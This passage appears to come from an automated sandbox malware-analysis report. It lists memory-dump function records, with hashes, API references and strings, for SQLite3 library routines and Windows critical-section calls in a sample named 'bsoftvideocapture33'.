                                                                                          • Instruction Fuzzy Hash: 4D51B9749083689BCB22CF28C985789BBF6BF59314F1086D9E49897351C775EE81CF41
                                                                                          APIs
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_log
                                                                                          • String ID: d$|
                                                                                          • API String ID: 632333372-415524447
                                                                                          • Opcode ID: b41da94c8e0873fb31ce46b9bf1ec845f2d469f37e36bd2a55cc8f8885e561b5
                                                                                          • Instruction ID: dac03e427e93f591f5d1737f90c886445feec93ea56e6f6f32424ebbe55d5cce
                                                                                          • Opcode Fuzzy Hash: b41da94c8e0873fb31ce46b9bf1ec845f2d469f37e36bd2a55cc8f8885e561b5
                                                                                          • Instruction Fuzzy Hash: 50510970A04329DBDB26CF19C981799BBBABF55308F0481D9E958AB341D735EE81CF41
                                                                                          APIs
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_logsqlite3_value_text
                                                                                          • String ID: string or blob too big
                                                                                          • API String ID: 2320820228-2803948771
                                                                                          • Opcode ID: 4552165c49a92a3f1eebbde7746405f837ee0ef0562a3825501d2540ddfe4a5c
                                                                                          • Instruction ID: 1f8da1134a73d261049fdcd83983d84c916c8a3f87851362e697cdb17b1d2bab
                                                                                          • Opcode Fuzzy Hash: 4552165c49a92a3f1eebbde7746405f837ee0ef0562a3825501d2540ddfe4a5c
                                                                                          • Instruction Fuzzy Hash: F631D9B0A083249BCB25DF28C881799B7FABF69304F0085DAE898A7301D775DE81CF45
                                                                                          APIs
                                                                                          • sqlite3_aggregate_context.SQLITE3 ref: 60914096
                                                                                          • sqlite3_value_numeric_type.SQLITE3 ref: 609140A2
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_aggregate_contextsqlite3_value_numeric_type
                                                                                          • String ID:
                                                                                          • API String ID: 3265351223-3916222277
                                                                                          • Opcode ID: 46809e466d9dc696839b8d734d1d71a7cd961db8d22299a3a9f395bc6b436a6c
                                                                                          • Instruction ID: a3c0f903ff645dd1c5a8146eaa2078e963ad6c1b8d1bbf61d5d4caeb1888773d
                                                                                          • Opcode Fuzzy Hash: 46809e466d9dc696839b8d734d1d71a7cd961db8d22299a3a9f395bc6b436a6c
                                                                                          • Instruction Fuzzy Hash: 19119EB0A0C6589BDF059F69C4D539A7BF6AF39308F0044E8D8D08B205E771CD94CB81
                                                                                          APIs
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_stricmp
                                                                                          • String ID: log
                                                                                          • API String ID: 912767213-2403297477
                                                                                          • Opcode ID: 32625358f7d37366d1c1d188942de81712d107425b8b720a67b4b84d1adec0cd
                                                                                          • Instruction ID: cbf508da25866b0a35bc2ca480d64d7c482f0664b0359b741109bd545b4f9ff5
                                                                                          • Opcode Fuzzy Hash: 32625358f7d37366d1c1d188942de81712d107425b8b720a67b4b84d1adec0cd
                                                                                          • Instruction Fuzzy Hash: FD11DAB07087048BE725AF66C49535EBBB3ABA1708F10C42CE4854B784C7BAC986DB42
                                                                                          APIs
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_strnicmp
                                                                                          • String ID: SQLITE_
                                                                                          • API String ID: 1961171630-787686576
                                                                                          • Opcode ID: 6b56a851e7df47422a7a29131339b4dfcb3302745a705f9abe90012807219487
                                                                                          • Instruction ID: 6d5ef3c0fd507030b5e8170497320435726bf3f0db30f2d6f2734bcd7f756fb3
                                                                                          • Opcode Fuzzy Hash: 6b56a851e7df47422a7a29131339b4dfcb3302745a705f9abe90012807219487
                                                                                          • Instruction Fuzzy Hash: 2501D6B190C3505FD7419F29CC8075BBFFAEBA5258F10486DE89687212D374DC81D781
                                                                                          APIs
                                                                                          • sqlite3_value_bytes.SQLITE3 ref: 6091A1DB
                                                                                          • sqlite3_value_blob.SQLITE3 ref: 6091A1FA
                                                                                          Strings
                                                                                          • Invalid argument to rtreedepth(), xrefs: 6091A1E3
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_value_blobsqlite3_value_bytes
                                                                                          • String ID: Invalid argument to rtreedepth()
                                                                                          • API String ID: 1063208240-2843521569
                                                                                          • Opcode ID: 11a8b631faa983fdd1b04a57150add771201859657fb9a8a7ca9793758d49f10
                                                                                          • Instruction ID: c9489564a96cd83e586e3a08c251b8a8c74d553169181c25a19da25ffef599d7
                                                                                          • Opcode Fuzzy Hash: 11a8b631faa983fdd1b04a57150add771201859657fb9a8a7ca9793758d49f10
                                                                                          • Instruction Fuzzy Hash: 0FF0A4B2A0C2589BDB00AF2CC88255577A6FF24258F1045D9E9858F306EB34DDD5C7D1
                                                                                          APIs
                                                                                          • sqlite3_soft_heap_limit64.SQLITE3 ref: 609561D7
                                                                                            • Part of subcall function 6092A43E: sqlite3_initialize.SQLITE3 ref: 6092A450
                                                                                            • Part of subcall function 6092A43E: sqlite3_mutex_enter.SQLITE3 ref: 6092A466
                                                                                            • Part of subcall function 6092A43E: sqlite3_mutex_leave.SQLITE3 ref: 6092A47F
                                                                                            • Part of subcall function 6092A43E: sqlite3_memory_used.SQLITE3 ref: 6092A4BA
                                                                                          • sqlite3_soft_heap_limit64.SQLITE3 ref: 609561EB
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_soft_heap_limit64$sqlite3_initializesqlite3_memory_usedsqlite3_mutex_entersqlite3_mutex_leave
                                                                                          • String ID: soft_heap_limit
                                                                                          • API String ID: 1251656441-405162809
                                                                                          • Opcode ID: 0a3178e3d5348c0d1dba646aca47308acc52713326f376e4eba91e5107f5ba07
                                                                                          • Instruction ID: 8891d4bbc0f5aef5547f00e3070395c34840fc2012d087b050684f6162b0ba7d
                                                                                          • Opcode Fuzzy Hash: 0a3178e3d5348c0d1dba646aca47308acc52713326f376e4eba91e5107f5ba07
                                                                                          • Instruction Fuzzy Hash: C2014B71A083188BC710EF98D8417ADB7F2BFA5318F508629E8A49B394D730DC42CF41
                                                                                          APIs
                                                                                          • sqlite3_log.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6094A57F), ref: 6092522A
                                                                                          • sqlite3_log.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6094A57F), ref: 60925263
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_log
                                                                                          • String ID: NULL
                                                                                          • API String ID: 632333372-324932091
                                                                                          • Opcode ID: f56f6a0e8a895df1b0101c46b9851dc3af9ce5b0d95800d46be4b721d61d1ab1
                                                                                          • Instruction ID: 5a36de60e8574ea04015b231464f09686a41744340efbe7a8a869d8181b3dc96
                                                                                          • Opcode Fuzzy Hash: f56f6a0e8a895df1b0101c46b9851dc3af9ce5b0d95800d46be4b721d61d1ab1
                                                                                          • Instruction Fuzzy Hash: BAF0A070238301DBD7102FA6E44230E7AEBABB0798F48C43C95A84F289D7B5C844CB63
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: CriticalSection$EnterLeavefree
                                                                                          • String ID:
                                                                                          • API String ID: 4020351045-0
                                                                                          • Opcode ID: 13d179c58506242de641c1793229aaf6d73ae3266bd26a3d41fb94aeb54caf06
                                                                                          • Instruction ID: 980a39aab3b848caec2c27f45d5308e77b440585e3cd6ccd446b63c63d51e1b6
                                                                                          • Opcode Fuzzy Hash: 13d179c58506242de641c1793229aaf6d73ae3266bd26a3d41fb94aeb54caf06
                                                                                          • Instruction Fuzzy Hash: 2D018070B293058BDB10DF28C985919BBFBABB6308B20855CE499D7355D770DC80EB62
                                                                                          APIs
                                                                                          • EnterCriticalSection.KERNEL32(?,?,?,6096D655,?,?,?,?,?,6096CF88), ref: 6096D4DF
                                                                                          • TlsGetValue.KERNEL32(?,?,?,?,6096D655,?,?,?,?,?,6096CF88), ref: 6096D4F5
                                                                                          • GetLastError.KERNEL32(?,?,?,?,?,6096D655,?,?,?,?,?,6096CF88), ref: 6096D4FD
                                                                                          • LeaveCriticalSection.KERNEL32(?,?,?,?,6096D655,?,?,?,?,?,6096CF88), ref: 6096D520
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: CriticalSection$EnterErrorLastLeaveValue
                                                                                          • String ID:
                                                                                          • API String ID: 682475483-0
                                                                                          • Opcode ID: 79e4c3a08b5363d98cc33068bb7bbdcd271105d9d9d9c252471cf05fac27a945
                                                                                          • Instruction ID: 6dd43474153c21470d2d90641e64b96ed0da30414b2d41baa8b5e8831fa3fcb2
                                                                                          • Opcode Fuzzy Hash: 79e4c3a08b5363d98cc33068bb7bbdcd271105d9d9d9c252471cf05fac27a945
                                                                                          • Instruction Fuzzy Hash: 9AF0F972A163104BEB10AF659CC1A5A7BFDEFB1218F100048FC6197354E770DC40D6A2